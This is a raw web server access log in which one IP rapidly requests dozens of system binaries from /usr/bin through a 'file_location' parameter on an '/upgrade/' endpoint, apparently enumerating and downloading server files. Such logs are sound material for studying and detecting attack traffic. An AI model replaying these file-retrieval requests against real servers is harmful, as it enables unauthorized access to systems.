45.135.193.11 - - [11/Sep/2026:22:44:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fodbc_config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99761 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fodbc_config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmdb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100947 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpmdb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha384sum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha384sum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstty&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125495 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstty&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpapi1&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 769194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpapi1&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-deb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 162996 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-deb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_phy_event&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_phy_event&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftruncate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110192 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftruncate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:12 -0400] "GET /upgrade/?full_path=%2Fusr%2Fbin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95829 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Fbin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbsqldb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109807 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbsqldb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpng-fix-itxt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99497 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpng-fix-itxt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyes&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106999 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyes&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fisosize&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101291 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fisosize&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprlimit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105493 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprlimit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frun-parts&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96794 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frun-parts&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_format&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112103 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_format&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2F7z&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 415485 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2F7z&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-addr-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100801 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-addr-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:16 -0400] "GET /upgrade/?location=%2Fusr%2Fbin%2F&option=file HTTP/1.1" 200 95860 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fbin%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgsplit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgsplit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-editenv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 276658 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-editenv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhexdump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115480 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhexdump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpaperconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101022 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpaperconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fquota&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 132261 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fquota&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetsid&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100948 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetsid&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsudoreplay&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95803 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsudoreplay&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoheader&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99772 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoheader&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpio-watch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98699 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpio-watch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fidn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108600 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fidn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmkfontscale&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113068 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmkfontscale&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97209 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpansign&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpansign&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsbj&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95988 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsbj&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Freset&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106106 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Freset&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-cryptenroll&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125037 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-cryptenroll&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhereis&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106724 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhereis&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchronyc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 143894 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchronyc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fftp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 141437 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fftp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_referrals&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101806 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_referrals&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fudisksctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 118792 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fudisksctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-broker&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 205822 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-broker&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdiffimg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100462 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdiffimg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_upgrade&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 981410 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_upgrade&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnice&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108609 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnice&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptar&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptar&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftoe&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102895 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftoe&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2FGET&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102117 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2FGET&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautomake&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 188336 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautomake&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fman&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 147182 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fman&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmogrify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98898 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmogrify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-g++&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95784 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-g++&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzdiff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzdiff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fluac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 175314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fluac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rdac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rdac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fslabtop&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104030 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fslabtop&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-notify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103803 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-notify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php83-pear&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95830 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php83-pear&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpio-event-mon&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100883 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpio-event-mon&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_senddiag&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106308 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_senddiag&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-umount&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 118773 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-umount&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fulimit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95713 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fulimit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
